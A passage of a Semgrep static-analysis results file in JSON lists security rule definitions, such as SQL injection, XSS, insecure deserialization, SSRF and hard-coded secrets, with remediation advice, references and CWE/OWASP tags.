practice, consider moving your tokens from localStorage to a HTTP cookie."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","id":"typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","name":"typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2."},"help":{"markdown":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_configuration#metadata_options](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_configuration#metadata_options)\n - [https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service](https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service)\n","text":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","id":"terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","name":"terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","properties":{"precision":"very-high","tags":["CWE-1390: Weak Authentication","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","id":"python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","name":"python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","id":"go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","name":"go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks."},"help":{"markdown":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","id":"swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","name":"swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Picatic API Key detected"},"help":{"markdown":"Picatic API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Picatic API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","id":"generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","name":"generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev()."},"help":{"markdown":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os2-ok2)\n","text":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os2-ok2","id":"python.lang.compatibility.python37.python37-compatibility-os2-ok2","name":"python.lang.compatibility.python37.python37-compatibility-os2-ok2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-os2-ok2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."},"help":{"markdown":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated)\n - [https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA](https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA)\n","text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","id":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","name":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RDS instance accessible from the Internet detected."},"help":{"markdown":"RDS instance accessible from the Internet detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.rds-public-access.rds-public-access)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#publicly_accessible](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#publicly_accessible)\n - [https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding)\n","text":"RDS instance accessible from the Internet detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.rds-public-access.rds-public-access","id":"terraform.lang.security.rds-public-access.rds-public-access","name":"terraform.lang.security.rds-public-access.rds-public-access","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.rds-public-access.rds-public-access"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket."},"help":{"markdown":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated)\n - [https://docs.python.org/3/library/ssl.html#ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket)\n - [https://docs.python.org/3/library/ssl.html#ssl.SSLContext.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.SSLContext.wrap_socket)\n","text":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","id":"python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","name":"python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method."},"help":{"markdown":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss)\n","text":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","id":"ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","name":"ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future."},"help":{"markdown":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","id":"swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","name":"swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS."},"help":{"markdown":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.json-entity-escape.json-entity-escape)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.json-entity-escape.json-entity-escape","id":"ruby.lang.security.json-entity-escape.json-entity-escape","name":"ruby.lang.security.json-entity-escape.json-entity-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.json-entity-escape.json-entity-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","id":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","name":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information."},"help":{"markdown":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.httpsconnection-detected.httpsconnection-detected)\n - [https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection](https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection)\n","text":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","id":"python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","name":"python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.httpsconnection-detected.httpsconnection-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.pymysql-sqli.pymysql-sqli)\n - [https://pypi.org/project/PyMySQL/#id4](https://pypi.org/project/PyMySQL/#id4)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.pymysql-sqli.pymysql-sqli","id":"python.aws-lambda.security.pymysql-sqli.pymysql-sqli","name":"python.aws-lambda.security.pymysql-sqli.pymysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.pymysql-sqli.pymysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","id":"javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","name":"javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"help":{"markdown":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","id":"python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","name":"python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`.\n\n<b>References:</b>\n - [Semgrep 